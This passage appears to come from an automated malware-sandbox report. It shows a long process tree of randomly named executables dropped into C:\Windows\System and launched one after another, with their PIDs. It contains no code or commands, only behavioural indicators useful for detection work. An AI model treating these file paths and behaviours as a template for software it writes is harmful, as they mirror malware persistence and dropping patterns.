- C:\Windows\System\UvaBPry.exe
  C:\Windows\System\UvaBPry.exe
  2⤵
  - Executes dropped EXE
  PID:4776
- C:\Windows\System\mubVZqJ.exe
  C:\Windows\System\mubVZqJ.exe
  2⤵
  - Executes dropped EXE
  PID:1212
- C:\Windows\System\QqAzTys.exe
  C:\Windows\System\QqAzTys.exe
  2⤵
  - Executes dropped EXE
  PID:4324
- C:\Windows\System\yFegmGM.exe
  C:\Windows\System\yFegmGM.exe
  2⤵
  - Executes dropped EXE
  PID:4320
- C:\Windows\System\TheeGIC.exe
  C:\Windows\System\TheeGIC.exe
  2⤵
  - Executes dropped EXE
  PID:4120
- C:\Windows\System\sSMeqqm.exe
  C:\Windows\System\sSMeqqm.exe
  2⤵
  - Executes dropped EXE
  PID:3080
- C:\Windows\System\BURPWwF.exe
  C:\Windows\System\BURPWwF.exe
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Windows\System\SaErcfS.exe
  C:\Windows\System\SaErcfS.exe
  2⤵
  - Executes dropped EXE
  PID:3408
- C:\Windows\System\dwUgalJ.exe
  C:\Windows\System\dwUgalJ.exe
  2⤵
  - Executes dropped EXE
  PID:3452
- C:\Windows\System\RfORKHX.exe
  C:\Windows\System\RfORKHX.exe
  2⤵
  - Executes dropped EXE
  PID:2296
- C:\Windows\System\dQKbGHP.exe
  C:\Windows\System\dQKbGHP.exe
  2⤵
  - Executes dropped EXE
  PID:4360
- C:\Windows\System\xtvKvxa.exe
  C:\Windows\System\xtvKvxa.exe
  2⤵
  - Executes dropped EXE
  PID:2432
- C:\Windows\System\bvdqVfL.exe
  C:\Windows\System\bvdqVfL.exe
  2⤵
  - Executes dropped EXE
  PID:2364
- C:\Windows\System\AQWwQSF.exe
  C:\Windows\System\AQWwQSF.exe
  2⤵
  - Executes dropped EXE
  PID:3096
- C:\Windows\System\XpJJTbb.exe
  C:\Windows\System\XpJJTbb.exe
  2⤵
  - Executes dropped EXE
  PID:2504
- C:\Windows\System\JaSXGRe.exe
  C:\Windows\System\JaSXGRe.exe
  2⤵
  - Executes dropped EXE
  PID:5088
- C:\Windows\System\dYOkLJE.exe
  C:\Windows\System\dYOkLJE.exe
  2⤵
  - Executes dropped EXE
  PID:3280
- C:\Windows\System\RZXlmhG.exe
  C:\Windows\System\RZXlmhG.exe
  2⤵
  - Executes dropped EXE
  PID:4196
- C:\Windows\System\mAxQxan.exe
  C:\Windows\System\mAxQxan.exe
  2⤵
  - Executes dropped EXE
  PID:4032
- C:\Windows\System\oJmAVcE.exe
  C:\Windows\System\oJmAVcE.exe
  2⤵
  - Executes dropped EXE
  PID:2896
- C:\Windows\System\JOuoeUi.exe
  C:\Windows\System\JOuoeUi.exe
  2⤵
  - Executes dropped EXE
  PID:3104
- C:\Windows\System\TTZqsac.exe
  C:\Windows\System\TTZqsac.exe
  2⤵
  - Executes dropped EXE
  PID:1040
- C:\Windows\System\zujkYNb.exe
  C:\Windows\System\zujkYNb.exe
  2⤵
  - Executes dropped EXE
  PID:2956
- C:\Windows\System\vlYTsSv.exe
  C:\Windows\System\vlYTsSv.exe
  2⤵
  - Executes dropped EXE
  PID:1872
- C:\Windows\System\wCRgLBE.exe
  C:\Windows\System\wCRgLBE.exe
  2⤵
  - Executes dropped EXE
  PID:2780
- C:\Windows\System\iJfcMJK.exe
  C:\Windows\System\iJfcMJK.exe
  2⤵
  - Executes dropped EXE
  PID:2476
- C:\Windows\System\aTDmzYs.exe
  C:\Windows\System\aTDmzYs.exe
  2⤵
  - Executes dropped EXE
  PID:3660
- C:\Windows\System\PeStvED.exe
  C:\Windows\System\PeStvED.exe
  2⤵
  - Executes dropped EXE
  PID:848
- C:\Windows\System\NVyLedN.exe
  C:\Windows\System\NVyLedN.exe
  2⤵
  - Executes dropped EXE
  PID:4020
- C:\Windows\System\BkWlArj.exe
  C:\Windows\System\BkWlArj.exe
  2⤵
  - Executes dropped EXE
  PID:4428
- C:\Windows\System\QvjkGnN.exe
  C:\Windows\System\QvjkGnN.exe
  2⤵
  - Executes dropped EXE
  PID:2012
- C:\Windows\System\AJuCknv.exe
  C:\Windows\System\AJuCknv.exe
  2⤵
  - Executes dropped EXE
  PID:2452
- C:\Windows\System\bzmiaHd.exe
  C:\Windows\System\bzmiaHd.exe
  2⤵
  - Executes dropped EXE
  PID:4740
- C:\Windows\System\tzmvUSc.exe
  C:\Windows\System\tzmvUSc.exe
  2⤵
  - Executes dropped EXE
  PID:3988
- C:\Windows\System\JODVGwD.exe
  C:\Windows\System\JODVGwD.exe
  2⤵
  - Executes dropped EXE
  PID:4968
- C:\Windows\System\AtkeLdM.exe
  C:\Windows\System\AtkeLdM.exe
  2⤵
  - Executes dropped EXE
  PID:1860
- C:\Windows\System\CpDTibb.exe
  C:\Windows\System\CpDTibb.exe
  2⤵
  PID:2036
- C:\Windows\System\udHnrjO.exe
  C:\Windows\System\udHnrjO.exe
  2⤵
  PID:4544
- C:\Windows\System\QOcxhUm.exe
  C:\Windows\System\QOcxhUm.exe
  2⤵
  PID:4792
- C:\Windows\System\vMsDKIs.exe
  C:\Windows\System\vMsDKIs.exe
  2⤵
  - Executes dropped EXE
  PID:1628
- C:\Windows\System\OMEyCed.exe
  C:\Windows\System\OMEyCed.exe
  2⤵
  - Executes dropped EXE
  PID:3332
- C:\Windows\System\WLpZBJa.exe
  C:\Windows\System\WLpZBJa.exe
  2⤵
  PID:2340
- C:\Windows\System\ydXFRWy.exe
  C:\Windows\System\ydXFRWy.exe
  2⤵
  PID:1764
- C:\Windows\System\aJYvdxc.exe
  C:\Windows\System\aJYvdxc.exe
  2⤵
  PID:4348
- C:\Windows\System\PnqMfXT.exe
  C:\Windows\System\PnqMfXT.exe
  2⤵
  PID:1544
- C:\Windows\System\SZpuKnW.exe
  C:\Windows\System\SZpuKnW.exe
  2⤵
  PID:3652
- C:\Windows\System\QOboZon.exe
  C:\Windows\System\QOboZon.exe
  2⤵
  PID:2512
- C:\Windows\System\WxNzdzn.exe
  C:\Windows\System\WxNzdzn.exe
  2⤵
  PID:3600
- C:\Windows\System\jUnXqpX.exe
  C:\Windows\System\jUnXqpX.exe
  2⤵
  PID:2552
- C:\Windows\System\yDtfPWL.exe
  C:\Windows\System\yDtfPWL.exe
  2⤵
  PID:5104
- C:\Windows\System\YITLJYX.exe
  C:\Windows\System\YITLJYX.exe
  2⤵
  PID:3088
- C:\Windows\System\YrQZIEL.exe
  C:\Windows\System\YrQZIEL.exe
  2⤵
  PID:4300
- C:\Windows\System\GNbTYFg.exe
  C:\Windows\System\GNbTYFg.exe
  2⤵
  PID:1084
- C:\Windows\System\MsHyAzR.exe
  C:\Windows\System\MsHyAzR.exe
  2⤵
  PID:4868
- C:\Windows\System\XWMbLnQ.exe
  C:\Windows\System\XWMbLnQ.exe
  2⤵
  PID:1916
- C:\Windows\System\VtZwsEn.exe
  C:\Windows\System\VtZwsEn.exe
  2⤵
  PID:4648
- C:\Windows\System\SBCJmXn.exe
  C:\Windows\System\SBCJmXn.exe
  2⤵
  PID:3164
- C:\Windows\System\gomWVNW.exe
  C:\Windows\System\gomWVNW.exe
  2⤵
  PID:3316
- C:\Windows\System\WAfmhHK.exe
  C:\Windows\System\WAfmhHK.exe
  2⤵
  PID:3312
- C:\Windows\System\UzxXaVW.exe
  C:\Windows\System\UzxXaVW.exe
  2⤵
  PID:1572
- C:\Windows\System\UfEGHDM.exe
  C:\Windows\System\UfEGHDM.exe
  2⤵
  PID:4952
- C:\Windows\System\gmBVXwO.exe
  C:\Windows\System\gmBVXwO.exe
  2⤵
  PID:812
- C:\Windows\System\apUTqgi.exe
  C:\Windows\System\apUTqgi.exe
  2⤵
  PID:4380
- C:\Windows\System\CXumFLQ.exe
  C:\Windows\System\CXumFLQ.exe
  2⤵
  PID:2480
- C:\Windows\System\zeUWuFr.exe
  C:\Windows\System\zeUWuFr.exe
  2⤵
  PID:4576
- C:\Windows\System\GxfYiTW.exe
  C:\Windows\System\GxfYiTW.exe
  2⤵
  PID:1964
- C:\Windows\System\jvmmDLm.exe
  C:\Windows\System\jvmmDLm.exe
  2⤵
  PID:1672
- C:\Windows\System\wdzxmXa.exe
  C:\Windows\System\wdzxmXa.exe
  2⤵
  PID:1348
- C:\Windows\System\wuBjIZu.exe
  C:\Windows\System\wuBjIZu.exe
  2⤵
  PID:1504
- C:\Windows\System\xbHcbgj.exe
  C:\Windows\System\xbHcbgj.exe
  2⤵
  PID:3216
- C:\Windows\System\mqMWSth.exe
  C:\Windows\System\mqMWSth.exe
  2⤵
  PID:3304
- C:\Windows\System\PNvkIco.exe
  C:\Windows\System\PNvkIco.exe
  2⤵
  PID:5092
- C:\Windows\System\lsVaKMa.exe
  C:\Windows\System\lsVaKMa.exe
  2⤵
  PID:3976
- C:\Windows\System\uQSDwjL.exe
  C:\Windows\System\uQSDwjL.exe
  2⤵
  PID:988
- C:\Windows\System\NUakTta.exe
  C:\Windows\System\NUakTta.exe
  2⤵
  PID:4700
- C:\Windows\System\RtKziEB.exe
  C:\Windows\System\RtKziEB.exe
  2⤵
  PID:5128
- C:\Windows\System\nnYnLSX.exe
  C:\Windows\System\nnYnLSX.exe
  2⤵
  PID:5148
- C:\Windows\System\uLwvCMz.exe
  C:\Windows\System\uLwvCMz.exe
  2⤵
  PID:5168
- C:\Windows\System\AKkkHGZ.exe
  C:\Windows\System\AKkkHGZ.exe
  2⤵
  PID:5188
- C:\Windows\System\HMvJUws.exe
  C:\Windows\System\HMvJUws.exe
  2⤵
  PID:5212
- C:\Windows\System\jiqDGZf.exe
  C:\Windows\System\jiqDGZf.exe
  2⤵
  PID:5232
- C:\Windows\System\cxsPyZC.exe
  C:\Windows\System\cxsPyZC.exe
  2⤵
  PID:5260
- C:\Windows\System\cHjAEoT.exe
  C:\Windows\System\cHjAEoT.exe
  2⤵
  PID:5276
- C:\Windows\System\LeIbwcd.exe
  C:\Windows\System\LeIbwcd.exe
  2⤵
  PID:5300
- C:\Windows\System\ornoDPb.exe
  C:\Windows\System\ornoDPb.exe
  2⤵
  PID:5316
- C:\Windows\System\thxfGzi.exe
  C:\Windows\System\thxfGzi.exe
  2⤵
  PID:5340
- C:\Windows\System\LyoTUCC.exe
  C:\Windows\System\LyoTUCC.exe
  2⤵
  PID:5356
- C:\Windows\System\oJJRWxE.exe
  C:\Windows\System\oJJRWxE.exe
  2⤵
  PID:5380
- C:\Windows\System\ptXqWVb.exe
  C:\Windows\System\ptXqWVb.exe
  2⤵
  PID:5404
- C:\Windows\System\gHMVLyX.exe
  C:\Windows\System\gHMVLyX.exe
  2⤵
  PID:5424
- C:\Windows\System\NaFMnYd.exe
  C:\Windows\System\NaFMnYd.exe
  2⤵
  PID:5452
- C:\Windows\System\ejkOlAW.exe
  C:\Windows\System\ejkOlAW.exe
  2⤵
  PID:5468
- C:\Windows\System\uIUFoOS.exe
  C:\Windows\System\uIUFoOS.exe
  2⤵
  PID:5496
- C:\Windows\System\SvXSKkM.exe
  C:\Windows\System\SvXSKkM.exe
  2⤵
  PID:5512
- C:\Windows\System\dztQfbb.exe
  C:\Windows\System\dztQfbb.exe
  2⤵
  PID:5532
- C:\Windows\System\DcnzsNq.exe
  C:\Windows\System\DcnzsNq.exe
  2⤵
  PID:5548
- C:\Windows\System\iyClbal.exe
  C:\Windows\System\iyClbal.exe
  2⤵
  PID:5568
- C:\Windows\System\IxvWIcg.exe
  C:\Windows\System\IxvWIcg.exe
  2⤵
  PID:5584
- C:\Windows\System\aSVLEOe.exe
  C:\Windows\System\aSVLEOe.exe
  2⤵
  PID:5604
- C:\Windows\System\gxqGaTh.exe
  C:\Windows\System\gxqGaTh.exe
  2⤵
  PID:5628
- C:\Windows\System\cIGeaWX.exe
  C:\Windows\System\cIGeaWX.exe
  2⤵
  PID:5652
- C:\Windows\System\iakRZCy.exe
  C:\Windows\System\iakRZCy.exe
  2⤵
  PID:5672
- C:\Windows\System\WbejeYm.exe
  C:\Windows\System\WbejeYm.exe
  2⤵
  PID:5692
- C:\Windows\System\uGTSOtX.exe
  C:\Windows\System\uGTSOtX.exe
  2⤵
  PID:5720
- C:\Windows\System\YzJfmET.exe
  C:\Windows\System\YzJfmET.exe
  2⤵
  PID:5736
- C:\Windows\System\EmZBtDS.exe
  C:\Windows\System\EmZBtDS.exe
  2⤵
  PID:5764
- C:\Windows\System\uhebTmw.exe
  C:\Windows\System\uhebTmw.exe
  2⤵
  PID:5784
- C:\Windows\System\PmTCZvo.exe
  C:\Windows\System\PmTCZvo.exe
  2⤵
  PID:5808
- C:\Windows\System\OvqBQHy.exe
  C:\Windows\System\OvqBQHy.exe
  2⤵
  PID:5828
- C:\Windows\System\SiPDLpg.exe
  C:\Windows\System\SiPDLpg.exe
  2⤵
  PID:5844
- C:\Windows\System\knDEFAj.exe
  C:\Windows\System\knDEFAj.exe
  2⤵
  PID:5872
- C:\Windows\System\AzYdPrl.exe
  C:\Windows\System\AzYdPrl.exe
  2⤵
  PID:5892
- C:\Windows\System\BamnxeZ.exe
  C:\Windows\System\BamnxeZ.exe
  2⤵
  PID:5916
- C:\Windows\System\TSYdvvZ.exe
  C:\Windows\System\TSYdvvZ.exe
  2⤵
  PID:5944
- C:\Windows\System\vOOzGGY.exe
  C:\Windows\System\vOOzGGY.exe
  2⤵
  PID:5960
- C:\Windows\System\yHgNbJG.exe
  C:\Windows\System\yHgNbJG.exe
  2⤵
  PID:5980
- C:\Windows\System\OfCpyjG.exe
  C:\Windows\System\OfCpyjG.exe
  2⤵
  PID:6004
- C:\Windows\System\NnJEnqi.exe
  C:\Windows\System\NnJEnqi.exe
  2⤵
  PID:6028
- C:\Windows\System\kIRNtHb.exe
  C:\Windows\System\kIRNtHb.exe
  2⤵
  PID:6048
- C:\Windows\System\wrruALW.exe
  C:\Windows\System\wrruALW.exe
  2⤵
  PID:6068
- C:\Windows\System\mSAPjqc.exe
  C:\Windows\System\mSAPjqc.exe
  2⤵
  PID:6088
- C:\Windows\System\PLiVqBX.exe
  C:\Windows\System\PLiVqBX.exe
  2⤵
  PID:6116
- C:\Windows\System\RcjdyRb.exe
  C:\Windows\System\RcjdyRb.exe
  2⤵
  PID:6132
- C:\Windows\System\weTWyLZ.exe
  C:\Windows\System\weTWyLZ.exe
  2⤵
  PID:2080
- C:\Windows\System\PaDFmsL.exe
  C:\Windows\System\PaDFmsL.exe
  2⤵
  PID:3736
- C:\Windows\System\vPHFUqw.exe
  C:\Windows\System\vPHFUqw.exe
  2⤵
  PID:3148
- C:\Windows\System\yoIrLEG.exe
  C:\Windows\System\yoIrLEG.exe
  2⤵
  PID:2968
- C:\Windows\System\FPpkRrP.exe
  C:\Windows\System\FPpkRrP.exe
  2⤵
  PID:968
- C:\Windows\System\KWQRXGG.exe
  C:\Windows\System\KWQRXGG.exe
  2⤵
  PID:1756
- C:\Windows\System\oPGLjpc.exe
  C:\Windows\System\oPGLjpc.exe
  2⤵
  PID:2440
- C:\Windows\System\iOUwwEL.exe
  C:\Windows\System\iOUwwEL.exe
  2⤵
  PID:3580
- C:\Windows\System\OceWFpJ.exe
  C:\Windows\System\OceWFpJ.exe
  2⤵
  PID:2456
- C:\Windows\System\viQBjDu.exe
  C:\Windows\System\viQBjDu.exe
  2⤵
  PID:2124
- C:\Windows\System\yoDMJNG.exe
  C:\Windows\System\yoDMJNG.exe
  2⤵
  PID:4996
- C:\Windows\System\AcuOenx.exe
  C:\Windows\System\AcuOenx.exe
  2⤵
  PID:5156
- C:\Windows\System\YemODgx.exe
  C:\Windows\System\YemODgx.exe
  2⤵
  PID:5196
- C:\Windows\System\xijmwOW.exe
  C:\Windows\System\xijmwOW.exe
  2⤵
  PID:5596
- C:\Windows\System\oBxCBXs.exe
  C:\Windows\System\oBxCBXs.exe
  2⤵
  PID:5224
- C:\Windows\System\ttvSBvP.exe
  C:\Windows\System\ttvSBvP.exe
  2⤵
  PID:5268
- C:\Windows\System\LfwsQgV.exe
  C:\Windows\System\LfwsQgV.exe
  2⤵
  PID:5308
- C:\Windows\System\hmNtEDR.exe
  C:\Windows\System\hmNtEDR.exe
  2⤵
  PID:5780
- C:\Windows\System\rjmkRCb.exe
  C:\Windows\System\rjmkRCb.exe
  2⤵
  PID:5352
- C:\Windows\System\zqtfzCX.exe
  C:\Windows\System\zqtfzCX.exe
  2⤵
  PID:5388
- C:\Windows\System\RXUgfBu.exe
  C:\Windows\System\RXUgfBu.exe
  2⤵
  PID:5888
- C:\Windows\System\lVYnfcR.exe
  C:\Windows\System\lVYnfcR.exe
  2⤵
  PID:5460
- C:\Windows\System\QoxlBzi.exe
  C:\Windows\System\QoxlBzi.exe
  2⤵
  PID:4444
- C:\Windows\System\xEXqDyJ.exe
  C:\Windows\System\xEXqDyJ.exe
  2⤵
  PID:5936
- C:\Windows\System\VaejyeG.exe
  C:\Windows\System\VaejyeG.exe
  2⤵
  PID:5544
- C:\Windows\System\MzyfbsR.exe
  C:\Windows\System\MzyfbsR.exe
  2⤵
  PID:6044
- C:\Windows\System\OdtvVAG.exe
  C:\Windows\System\OdtvVAG.exe
  2⤵
  PID:5620
- C:\Windows\System\lpVfLJB.exe
  C:\Windows\System\lpVfLJB.exe
  2⤵
  PID:6148
- C:\Windows\System\JzoqoRJ.exe
  C:\Windows\System\JzoqoRJ.exe
  2⤵
  PID:6176
- C:\Windows\System\nZGvKgN.exe
  C:\Windows\System\nZGvKgN.exe
  2⤵
  PID:6196
- C:\Windows\System\zrcKylw.exe
  C:\Windows\System\zrcKylw.exe
  2⤵
  PID:6216
- C:\Windows\System\sigRxAd.exe
  C:\Windows\System\sigRxAd.exe
  2⤵
  PID:6240
- C:\Windows\System\rMRLkQB.exe
  C:\Windows\System\rMRLkQB.exe
  2⤵
  PID:6264
- C:\Windows\System\ApRwbHr.exe
  C:\Windows\System\ApRwbHr.exe
  2⤵
  PID:6280
- C:\Windows\System\vLQhtJP.exe
  C:\Windows\System\vLQhtJP.exe
  2⤵
  PID:6304
- C:\Windows\System\QKjEMkW.exe
  C:\Windows\System\QKjEMkW.exe
  2⤵
  PID:6324
- C:\Windows\System\ZARuYSw.exe
  C:\Windows\System\ZARuYSw.exe
  2⤵
  PID:6344
- C:\Windows\System\dWsZpxP.exe
  C:\Windows\System\dWsZpxP.exe
  2⤵
  PID:6368
- C:\Windows\System\IfXZNns.exe
  C:\Windows\System\IfXZNns.exe
  2⤵
  PID:6388
- C:\Windows\System\DIvEVOQ.exe
  C:\Windows\System\DIvEVOQ.exe
  2⤵
  PID:6404
- C:\Windows\System\arfvJdL.exe
  C:\Windows\System\arfvJdL.exe
  2⤵
  PID:6428
- C:\Windows\System\spziuHg.exe
  C:\Windows\System\spziuHg.exe
  2⤵
  PID:6444
- C:\Windows\System\LteuMYY.exe
  C:\Windows\System\LteuMYY.exe
  2⤵
  PID:6468
- C:\Windows\System\xCPpQdm.exe
  C:\Windows\System\xCPpQdm.exe
  2⤵
  PID:6496
- C:\Windows\System\VVfrztp.exe
  C:\Windows\System\VVfrztp.exe
  2⤵
  PID:6524
- C:\Windows\System\BUDiyuI.exe
  C:\Windows\System\BUDiyuI.exe
  2⤵
  PID:6544
- C:\Windows\System\DlTComD.exe
  C:\Windows\System\DlTComD.exe
  2⤵
  PID:6568
- C:\Windows\System\SaVLeVA.exe
  C:\Windows\System\SaVLeVA.exe
  2⤵
  PID:6592
- C:\Windows\System\aCINtec.exe
  C:\Windows\System\aCINtec.exe
  2⤵
  PID:6612
- C:\Windows\System\qtsrpcF.exe
  C:\Windows\System\qtsrpcF.exe
  2⤵
  PID:6644
- C:\Windows\System\BlZTpbO.exe
  C:\Windows\System\BlZTpbO.exe
  2⤵
  PID:6664
- C:\Windows\System\RruHdYP.exe
  C:\Windows\System\RruHdYP.exe
  2⤵
  PID:6688
- C:\Windows\System\hagdXKC.exe
  C:\Windows\System\hagdXKC.exe
  2⤵
  PID:6720
- C:\Windows\System\TSipDOC.exe
  C:\Windows\System\TSipDOC.exe
  2⤵
  PID:6740
- C:\Windows\System\SxefChc.exe
  C:\Windows\System\SxefChc.exe
  2⤵
  PID:6756
- C:\Windows\System\qiGsIbU.exe
  C:\Windows\System\qiGsIbU.exe
  2⤵
  PID:6780
- C:\Windows\System\mTKFdzS.exe
  C:\Windows\System\mTKFdzS.exe
  2⤵
  PID:6808
- C:\Windows\System\HpNWEes.exe
  C:\Windows\System\HpNWEes.exe
  2⤵
  PID:6832
- C:\Windows\System\TeTssIN.exe
  C:\Windows\System\TeTssIN.exe
  2⤵
  PID:6852
- C:\Windows\System\KtMPuwH.exe
  C:\Windows\System\KtMPuwH.exe
  2⤵
  PID:6876
- C:\Windows\System\PXJaGec.exe
  C:\Windows\System\PXJaGec.exe
  2⤵
  PID:6896
- C:\Windows\System\htHbjNi.exe
  C:\Windows\System\htHbjNi.exe
  2⤵
  PID:6916
- C:\Windows\System\cyZITyZ.exe
  C:\Windows\System\cyZITyZ.exe
  2⤵
  PID:6936
- C:\Windows\System\vUUXMqu.exe
  C:\Windows\System\vUUXMqu.exe
  2⤵
  PID:6964
- C:\Windows\System\awTxunN.exe
  C:\Windows\System\awTxunN.exe
  2⤵
  PID:6984
- C:\Windows\System\MLJjQjP.exe
  C:\Windows\System\MLJjQjP.exe
  2⤵
  PID:7008
- C:\Windows\System\GysTOKp.exe
  C:\Windows\System\GysTOKp.exe
  2⤵
  PID:7024
- C:\Windows\System\gfKIwqH.exe
  C:\Windows\System\gfKIwqH.exe
  2⤵
  PID:7052
- C:\Windows\System\TPJMWOo.exe
  C:\Windows\System\TPJMWOo.exe
  2⤵
  PID:7076
- C:\Windows\System\MnDPCvk.exe
  C:\Windows\System\MnDPCvk.exe
  2⤵
  PID:7092
- C:\Windows\System\IdLnLpj.exe
  C:\Windows\System\IdLnLpj.exe
  2⤵
  PID:7120
- C:\Windows\System\hqLgbgq.exe
  C:\Windows\System\hqLgbgq.exe
  2⤵
  PID:7144
- C:\Windows\System\XbArMgJ.exe
  C:\Windows\System\XbArMgJ.exe
  2⤵
  PID:7160
- C:\Windows\System\TdtaoiE.exe
  C:\Windows\System\TdtaoiE.exe
  2⤵
  PID:5688
- C:\Windows\System\GrbtBhM.exe
  C:\Windows\System\GrbtBhM.exe
  2⤵
  PID:436
- C:\Windows\System\EtCKVuq.exe
  C:\Windows\System\EtCKVuq.exe
  2⤵
  PID:3900
- C:\Windows\System\xkiizLU.exe
  C:\Windows\System\xkiizLU.exe
  2⤵
  PID:4536
- C:\Windows\System\kFpYQAx.exe
  C:\Windows\System\kFpYQAx.exe
  2⤵
  PID:5928
- C:\Windows\System\IxbBVkh.exe
  C:\Windows\System\IxbBVkh.exe
  2⤵
  PID:5952
- C:\Windows\System\RuEzdIv.exe
  C:\Windows\System\RuEzdIv.exe
  2⤵
  PID:5504
- C:\Windows\System\mtRByaK.exe
  C:\Windows\System\mtRByaK.exe
  2⤵
  PID:5816
- C:\Windows\System\RMcvhwn.exe
  C:\Windows\System\RMcvhwn.exe
  2⤵
  PID:6096
- C:\Windows\System\kQtembt.exe
  C:\Windows\System\kQtembt.exe
  2⤵
  PID:5600
- C:\Windows\System\XWqbLzb.exe
  C:\Windows\System\XWqbLzb.exe
  2⤵
  PID:5648
- C:\Windows\System\ujGhkCC.exe
  C:\Windows\System\ujGhkCC.exe
  2⤵
  PID:4900
- C:\Windows\System\LFdqpGp.exe
  C:\Windows\System\LFdqpGp.exe
  2⤵
  PID:3608
- C:\Windows\System\GCoLsyn.exe
  C:\Windows\System\GCoLsyn.exe
  2⤵
  PID:6516
- C:\Windows\System\KrvTtmG.exe
  C:\Windows\System\KrvTtmG.exe
  2⤵
  PID:5956
- C:\Windows\System\XJKnPwc.exe
  C:\Windows\System\XJKnPwc.exe
  2⤵
  PID:6700
- C:\Windows\System\iJbTyJP.exe
  C:\Windows\System\iJbTyJP.exe
  2⤵
  PID:5440
- C:\Windows\System\TBtATTk.exe
  C:\Windows\System\TBtATTk.exe
  2⤵
  PID:7188
- C:\Windows\System\wUHzKAN.exe
  C:\Windows\System\wUHzKAN.exe
  2⤵
  PID:7212
- C:\Windows\System\pBfJJvk.exe
  C:\Windows\System\pBfJJvk.exe
  2⤵
  PID:7232
- C:\Windows\System\wORuEyt.exe
  C:\Windows\System\wORuEyt.exe
  2⤵
  PID:7256
- C:\Windows\System\kPKPdxe.exe
  C:\Windows\System\kPKPdxe.exe
  2⤵
  PID:7272
- C:\Windows\System\GvQDwPP.exe
  C:\Windows\System\GvQDwPP.exe
  2⤵
  PID:7300
- C:\Windows\System\OTEIJmd.exe
  C:\Windows\System\OTEIJmd.exe
  2⤵
  PID:7320
- C:\Windows\System\QHgXJSF.exe
  C:\Windows\System\QHgXJSF.exe
  2⤵
  PID:7340
- C:\Windows\System\IcOnedh.exe
  C:\Windows\System\IcOnedh.exe
  2⤵
  PID:7364
- C:\Windows\System\NsjtRnx.exe
  C:\Windows\System\NsjtRnx.exe
  2⤵
  PID:7384
- C:\Windows\System\zxrrHyN.exe
  C:\Windows\System\zxrrHyN.exe
  2⤵
  PID:7408
- C:\Windows\System\zMuTkLI.exe
  C:\Windows\System\zMuTkLI.exe
  2⤵
  PID:7436
- C:\Windows\System\qUyEknx.exe
  C:\Windows\System\qUyEknx.exe
  2⤵
  PID:7452
- C:\Windows\System\sGinqBE.exe
  C:\Windows\System\sGinqBE.exe
  2⤵
  PID:7480
- C:\Windows\System\dlaUUtB.exe
  C:\Windows\System\dlaUUtB.exe
  2⤵
  PID:7508
- C:\Windows\System\FmoFGMl.exe
  C:\Windows\System\FmoFGMl.exe
  2⤵
  PID:7536
- C:\Windows\System\TYVJIqZ.exe
  C:\Windows\System\TYVJIqZ.exe
  2⤵
  PID:7552
- C:\Windows\System\ZwHiBqP.exe
  C:\Windows\System\ZwHiBqP.exe
  2⤵
  PID:7576
- C:\Windows\System\rGPnikS.exe
  C:\Windows\System\rGPnikS.exe
  2⤵
  PID:7600
- C:\Windows\System\eZtXhTc.exe
  C:\Windows\System\eZtXhTc.exe
  2⤵
  PID:7620
- C:\Windows\System\bygPWWM.exe
  C:\Windows\System\bygPWWM.exe
  2⤵
  PID:7640
- C:\Windows\System\JpUhewf.exe
  C:\Windows\System\JpUhewf.exe
  2⤵
  PID:7660
- C:\Windows\System\SVMEpKF.exe
  C:\Windows\System\SVMEpKF.exe
  2⤵
  PID:7684
- C:\Windows\System\cvNFGqC.exe
  C:\Windows\System\cvNFGqC.exe
  2⤵
  PID:7708
- C:\Windows\System\jwUtkrV.exe
  C:\Windows\System\jwUtkrV.exe
  2⤵
  PID:7724
- C:\Windows\System\wWUzlyp.exe
  C:\Windows\System\wWUzlyp.exe
  2⤵
  PID:7748
- C:\Windows\System\mXogFMF.exe
  C:\Windows\System\mXogFMF.exe
  2⤵
  PID:7764
- C:\Windows\System\YWqQuWi.exe
  C:\Windows\System\YWqQuWi.exe
  2⤵
  PID:7788
- C:\Windows\System\znfJsVD.exe
  C:\Windows\System\znfJsVD.exe
  2⤵
  PID:7816
- C:\Windows\System\BHWLArC.exe
  C:\Windows\System\BHWLArC.exe
  2⤵
  PID:7836
- C:\Windows\System\YGjlWSy.exe
  C:\Windows\System\YGjlWSy.exe
  2⤵
  PID:7856
- C:\Windows\System\lxmQayW.exe
  C:\Windows\System\lxmQayW.exe
  2⤵
  PID:7876
- C:\Windows\System\cDyfKNf.exe
  C:\Windows\System\cDyfKNf.exe
  2⤵
  PID:7896
- C:\Windows\System\GhekXyv.exe
  C:\Windows\System\GhekXyv.exe
  2⤵
  PID:7924
- C:\Windows\System\ZEEYpXc.exe
  C:\Windows\System\ZEEYpXc.exe
  2⤵
  PID:7944
- C:\Windows\System\clPYDns.exe
  C:\Windows\System\clPYDns.exe
  2⤵
  PID:7964
- C:\Windows\System\Sfybngw.exe
  C:\Windows\System\Sfybngw.exe
  2⤵
  PID:7988
- C:\Windows\System\qGCOsCg.exe
  C:\Windows\System\qGCOsCg.exe
  2⤵
  PID:8008
- C:\Windows\System\GNNkibp.exe
  C:\Windows\System\GNNkibp.exe
  2⤵
  PID:8032
- C:\Windows\System\vcSKBuz.exe
  C:\Windows\System\vcSKBuz.exe
  2⤵
  PID:8048
- C:\Windows\System\BJHAKBl.exe
  C:\Windows\System\BJHAKBl.exe
  2⤵
  PID:8068
- C:\Windows\System\wVocEZg.exe
  C:\Windows\System\wVocEZg.exe
  2⤵
  PID:8092
- C:\Windows\System\xJKayjw.exe
  C:\Windows\System\xJKayjw.exe
  2⤵
  PID:8112
- C:\Windows\System\PFYWDyc.exe
  C:\Windows\System\PFYWDyc.exe
  2⤵
  PID:8140
- C:\Windows\System\pBjeCKu.exe
  C:\Windows\System\pBjeCKu.exe
  2⤵
  PID:8160
- C:\Windows\System\ETWSHSs.exe
  C:\Windows\System\ETWSHSs.exe
  2⤵
  PID:8188
- C:\Windows\System\ZEVoKll.exe
  C:\Windows\System\ZEVoKll.exe
  2⤵
  PID:5144
- C:\Windows\System\dUEkySZ.exe
  C:\Windows\System\dUEkySZ.exe
  2⤵
  PID:6820
- C:\Windows\System\SzYNOst.exe
  C:\Windows\System\SzYNOst.exe
  2⤵
  PID:6124
- C:\Windows\System\VwNCrWD.exe
  C:\Windows\System\VwNCrWD.exe
  2⤵
  PID:6224
- C:\Windows\System\NvmNZWa.exe
  C:\Windows\System\NvmNZWa.exe
  2⤵
  PID:6912
- C:\Windows\System\TlEYtYm.exe
  C:\Windows\System\TlEYtYm.exe
  2⤵
  PID:6260
- C:\Windows\System\tszwWLS.exe
  C:\Windows\System\tszwWLS.exe
  2⤵
  PID:6320
- C:\Windows\System\MdOuuQF.exe
  C:\Windows\System\MdOuuQF.exe
  2⤵
  PID:7048
- C:\Windows\System\TJFibxj.exe
  C:\Windows\System\TJFibxj.exe
